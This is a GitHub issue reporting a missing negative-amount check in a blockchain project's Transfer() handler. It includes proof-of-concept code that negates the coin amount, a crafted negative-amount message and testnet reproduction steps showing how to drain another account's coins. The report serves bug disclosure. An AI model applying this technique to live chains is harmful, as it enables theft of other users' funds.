Skip to content

No negative check for Amount in Transfer() #13

@soreatu

Description

@soreatu

Describe The Bug
There exists no negative check for Amount field in KuMsg when handling Transfer().
The attacker can send a transaction which contains a negative Amount. This transaction will be executed successfully, after which the To account coin will be transferred to From. By exploiting this vulnerability, the attacker could transfer all others' coins to the account of himself, which disasterly destroy the whole ecosystem.

Code Snippets (Optional)
/x/chain/type/types.pb.go:L103-111

type KuMsg struct {
	Auth   []github_com_cosmos_cosmos_sdk_types.AccAddress `protobuf:"bytes,1,rep,name=auth,proto3,casttype=github.com/cosmos/cosmos-sdk/types.AccAddress" json:"auth,omitempty" yaml:"auth"`
	From   AccountID                                       `protobuf:"bytes,2,opt,name=from,proto3" json:"from" yaml:"from"`
	To     AccountID                                       `protobuf:"bytes,3,opt,name=to,proto3" json:"to" yaml:"to"`
	Amount github_com_cosmos_cosmos_sdk_types.Coins        `protobuf:"bytes,4,rep,name=amount,proto3,castrepeated=github.com/cosmos/cosmos-sdk/types.Coins" json:"amount" yaml:"amount"`
	Router Name                                            `protobuf:"bytes,5,opt,name=router,proto3" json:"router" yaml:"router"`
	Action Name                                            `protobuf:"bytes,6,opt,name=action,proto3" json:"action" yaml:"action"`
	Data   []byte                                          `protobuf:"bytes,7,opt,name=data,proto3" json:"data,omitempty" yaml:"data"`
}

The Amount filed of the KuMsg struct can be set as a negative value.

To reproduce the vulnerability, we need to modify the source code a little bit.
Add some coins to testacc2 in scripts/boot-testnet.sh.

# ...
./build/ktsd ${PARAMS} genesis add-account-coin kratos "100000000000000000000000kratos/kts"
./build/ktsd ${PARAMS} genesis add-account-coin testacc2 "10000kratos/kts" # Add this line.
# ...

Modify the client code to make the amount set as negative when constructing the transfer transction.
/x/asset/client/cli/tx.go:L41-76

func Transfer(cdc *codec.Codec) *cobra.Command {
			...
			coin, err := sdk.ParseCoins(args[2])
			if err != nil {
				return err
			}
			coin[0].Amount = coin[0].Amount.Neg() // Add this line
			...
}

Input/Output

  1. Craft a KuMsg: '{"from":"kratos","to":"testacc2","amount":["-10000kratos/kts"]}'
  2. Output: None

To Reproduce
Steps to reproduce the behavior:

  1. Modify the source code as shown in the Code Snippets.
  2. make
  3. ./scripts/boot-testnet.sh ./
  4. ./build/ktscli query asset coins kratos
  5. ./build/ktscli query asset coins testacc2
  6. ./build/ktscli tx asset transfer kratos testacc2 10000kratos/kts --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
  7. ./build/ktscli query asset coins kratos
  8. ./build/ktscli query asset coins testacc2

Expected Behavior
Return an error "The amount of coin cannot be negative."

Screenshots
Before the transaction:
Screen Shot 2020-07-31 at 11.47.00 AM.png

After the transaction:
Screen Shot 2020-07-31 at 11.47.07 AM.png

Desktop (please complete the following information):

  • OS: [macOS Catalina 10.15.6]

Additional Context (Optional)
Note: This problem not only exists in Transfer(), many other places also have this problem.

Contact Information
[email protected]
[email protected]

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions